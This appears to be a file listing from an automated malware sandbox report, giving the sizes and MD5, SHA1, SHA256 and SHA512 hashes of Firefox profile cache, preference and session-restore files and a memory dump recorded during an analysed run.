b8597c5921d03c372558786681c493dd79a160fa0343d656f17f55c157b5798b9f497e41d4db549011cd322b3aabb6bccfadb792812a15e38f20598cde72e918

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\4926s7ha.default-release\cache2\doomed\21932

Filesize
11KB

MD5
d7a7a7c4c1d967d363bd43945f0fdcc0

SHA1
dc54eca967c2084ab5ad5b865ab01d78d3fa3413

SHA256
c84dd4f9f2241b8be5cbd821fdd7cde9b050f0875755aee17bd63f36a24733a4

SHA512
e64f743666b62760f11b7edfcef6b0120dc63267c12fb228f33a2e437fe2282577a062b5f81d856fc9154f6e0700c58750100d2c94bc148c88f5f40cd990dd84

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\4926s7ha.default-release\cache2\doomed\22683

Filesize
13KB

MD5
e6d9354d6140f0e00125a76c02924b1a

SHA1
e05cc59f749a0d6e442af819daa3355528145af5

SHA256
9539af73592a0bf15de6792d2e97cf8bedb58a6e89405b23ac55081f547fb4bc

SHA512
a120f97c9c5a63255b003db8d0a57c07ae4e34f88442d43b4ebfc1a99f31d57d7fd35d249e2408444817334b15bb34808eb9a9fb17da2e7e370094a48dee93a0

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\4926s7ha.default-release\cache2\doomed\28912

Filesize
11KB

MD5
db1718f1157f8bb02303b5ace083e16b

SHA1
3e4330fe283947c57698a465dff3ba4c50824bb6

SHA256
4875a418987b6b62e54100cc7900943d26e497b48c2be9ecb55d5bbbae75646a

SHA512
907684022065c176c0d7e0b05115f2893c68c4e42180ec112f2cf9155f4d2608d53e328a27144040954f42cbfaea2af8c79e05171918f2214f5fa29b9febe517

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\4926s7ha.default-release\cache2\doomed\308

Filesize
11KB

MD5
4c25f8412700eadd5478d69184ebb9b0

SHA1
12d4dcbe98fde621222fd54a1acdc76911072e7a

SHA256
f58afb13c7861212810fd983954f72369360b3e0d029dda32777f346ae633308

SHA512
9b4d86cec24e3705dd682061910ffb91de99b8a071f87103ecd0ac13c9999e3d4980e87322a0190c543fc457b04d36f36e2bb3c45e687291eeef43046718e81f

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\4926s7ha.default-release\cache2\entries\4F1CBB1EEA253BD91F5E99878F0A35DF5B479581

Filesize
934KB

MD5
cfed1ee9cbe83fec1e4494b56000c550

SHA1
3893ace3d35073b703234fee3aca1e34481a1483

SHA256
92d2c1249a0a000cb4c31ca10bc28cb5c96a0636fc2b31f2107886ebc4d25fa8

SHA512
996747e9bf13db393a09e93e0d5a2b427dcf6a1baf58c7b60c77bb66e717acb109532a7b3202bb4c73486e6f0d8076423e988de15314f33ab39178b389571ca1

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\4926s7ha.default-release\cache2\entries\6852D37B385EA080351617C9F18310B3213A46B5

Filesize
108KB

MD5
836080cb1e104d218709e222b39b2bef

SHA1
936d507a5ed22d915191aa1cd76815b6e0a4a150

SHA256
592420729b86a08683a690c1e3e2efd7afccb2d7a9c278457639f1f3bd74474c

SHA512
828de25fb3369371f1473dafa2d473e0f7859ac53ce7cd83a32cdc53a1c97d30f6ecf55d2ba654e8120c44b42cc1673198493fa264685636684495ae8061c819

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\4926s7ha.default-release\cache2\entries\D24E8DF3B19D6412C7F2B56BEB14156721FBAFBA

Filesize
415KB

MD5
987ec5d3e6cfea0c6436a6f27ff31e9a

SHA1
e40e8076143f1f224451497dc7da1e80cb0cd81e

SHA256
903a08c5898b9e63a595f5fbc2348da4ed5dab9b34f054a20093e9060a17b5be

SHA512
44ec66b934c23ba74650ea23f523b6f61aa7c93796d18ec97ca27bdc014ba6248aeea4a8a549a0a6b2bb761c9cb2bbd2153236a99f1a3b8f32a92712ed63b8cb

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\4926s7ha.default-release\prefs-1.js

Filesize
7KB

MD5
59cb6618480b8669c5ba94cb3d1c6866

SHA1
2d77963cc463a2a07d75c2d1de29201cd42cbcf6

SHA256
9b8113b9df85b33996e99fbb5b69d734f590a96a4f5f3c73e708e2261ced9bec

SHA512
d5bb808e1424b0b0775041c878064a819c8b4297a8e54e9ced9573e1dea6fd2b59aff1e586a7f181c7d095509dd16fe164e915d02789351c6608d3ee059a1407

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\4926s7ha.default-release\prefs.js

Filesize
6KB

MD5
522a9944c905d981f2edd3156a9390a9

SHA1
76e2a020810b767674478b57d8332a8a70cc1be3

SHA256
7eca2bcf0d4664f0094e37278d337c6673f6ba9409453e2d127da16d550ec0d0

SHA512
f14f8c32481f7292e6218319b2e6db628d392b5e0dcdf4a7732e23fdff8003820cc8344f7add7e2ffc95c22659915cd5a586653749b1b8b7b602d3c94fca086a

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\4926s7ha.default-release\prefs.js

Filesize
7KB

MD5
71f3000b1fccb4f4cc6d223b527e6024

SHA1
3ecfca26b6e668df6b2df8b9680e7586c7aec06f

SHA256
e4a3798517b4001dad8624e51dd9706a528e5c159cab72b89a8e399cfd1b3684

SHA512
0ebb30dfdaa2467e541b71745891bcbe8401cabaf0f1ae1996fdcf56785fac528144f730771f58d666f7e7a00f575460b8afbf1515cf386938345662a74b810b

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\4926s7ha.default-release\sessionstore-backups\recovery.jsonlz4

Filesize
3KB

MD5
acdf4b68d09c5d3f0803c0a58fea0996

SHA1
11c3095079f0f59ff1975c9c7497f420211fac91

SHA256
f00027a54e56094e54dc9a82d3f1cf51dd0aa9a0ae4eabd1637d4d2456431018

SHA512
b6a244c0eb5617de7649bc25092f17526a5eb24ad484cc58fa5c3bfc4c253f0a74806f29dc07bea69df896e95a046618452b2605514a56638b0f2c2a96e92069

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\4926s7ha.default-release\sessionstore-backups\recovery.jsonlz4

Filesize
12KB

MD5
681346b301c6e4bb044cfa0e301034f4

SHA1
1d4ae875a9a0b2df368ac1d5f145965e4b6036c4

SHA256
6e11965d8985c67291b1d5c029db048e603b8e4524a73d9f162879de44fa2e30

SHA512
7f8ab093e784b620619a9e6a89b30ddd7cfdf23a5a3e8a832c4b12711c901f9f31f89f19443418f8eff6c4cd9b326e81cbbcaca483199985fd7fb6d695bc665d

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\4926s7ha.default-release\sessionstore-backups\recovery.jsonlz4

Filesize
13KB

MD5
16ccf8e543bb0e3d0015d32c0ad60d00

SHA1
ac900781db3016fd8c8ae8067f7c475d75d5015f

SHA256
e97f91278d8915dc64a21be3c74a41d0377c0904214ab90e878a6a4487581214

SHA512
50f9ba8c2df5254f795ed8c51d69680cb841c503c394cb048584d771e6948b837874e9feecf4834954df6eff2942c5f881906d3228fbdb00934b7f704e35ffe2

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\4926s7ha.default-release\sessionstore-backups\recovery.jsonlz4

Filesize
11KB

MD5
0b90cbe4a2a5a58cbbd866a09442d6c9

SHA1
251d4fd015c5d31029b4a299e838631965b34b62

SHA256
dc0e7a9c93149022d75004d53f2a29fc9e80799469f296c6d683ea5088e593f9

SHA512
179a90257543973f1288eaf1bce68349f5ccb22927494003e8f801986d3795f1fd8a1e5e661ed059357e7fa4f1f9eafe5eaacfaed7ca811962a38c4ebd3deb42

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\4926s7ha.default-release\sessionstore-backups\recovery.jsonlz4

Filesize
3KB

MD5
85ab2f2bd9cf78149be4652578d3c9fa

SHA1
8509cf678cdaf0e1f93ea823d6c2b429be034546

SHA256
accfcd1a2e2cfa931071460309bd955b4317a0347899afc3172bcba03cefeee7

SHA512
55b2e8f84555d077091903a36d9758924b633995f9a3bba287185b209b8fde783416156dac9dff3c347bf88bb5ddd48a77311c355f46f2c889681af3dbb21dd4

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\4926s7ha.default-release\sessionstore-backups\recovery.jsonlz4

Filesize
9KB

MD5
ff7861fa70a4c89e24c4337194fb677d

SHA1
1efaaa6ea0c0ea7f2f03e05e8c74be9465301834

SHA256
1f987709a54dbe8b3a4d5bddcdb245295e6535d047669175284081ab773f216a

SHA512
13768010717b890add6b94106ac0db3f7231bcce5a15da6f4b605103a758aea667f3dfe71809bdfa5f4577b3c0aeb9d143a1087e4586f9dbb3283a4da29578a5

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\4926s7ha.default-release\sessionstore-backups\recovery.jsonlz4

Filesize
11KB

MD5
d32298aa89fe4872f804231a3c28e504

SHA1
619c32cbd764a3ef0e0ee771c677b62cdec69902

SHA256
6841ad2e4af0700672c5574fcc28bd5f53e15cdcf4c10919a3001bef0b77244b

SHA512
c7d5353865d6eaeff3a1067d9648460ad576b5973c6bba4c65d1024578e364d0891c6c3e2ec07559486ff9b381aa90c7dd63293628b1b3c4db0cfaeb6b42a0f2

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\4926s7ha.default-release\sessionstore-backups\recovery.jsonlz4

Filesize
13KB

MD5
51d377c11521beebcb8abf94e8ec6e29

SHA1
b31acd8d4a16d379b827994edf4c15403df7a1b7

SHA256
08bf88c80797a0ff84d350d3695c89b61e3974daf817ae5460f944099376285a

SHA512
31addd644641c83ffe2adafa15f4e137637dca2557f1521fbcd762f85988ad7e8028515dcee96c34324aab02d07858ae24c158c02d8a1ef678f0ed4aceb654ec

Download Submit
memory/5716-881-0x0000000000130000-0x0000000000138000-memory.dmp

Filesize
32KB

Download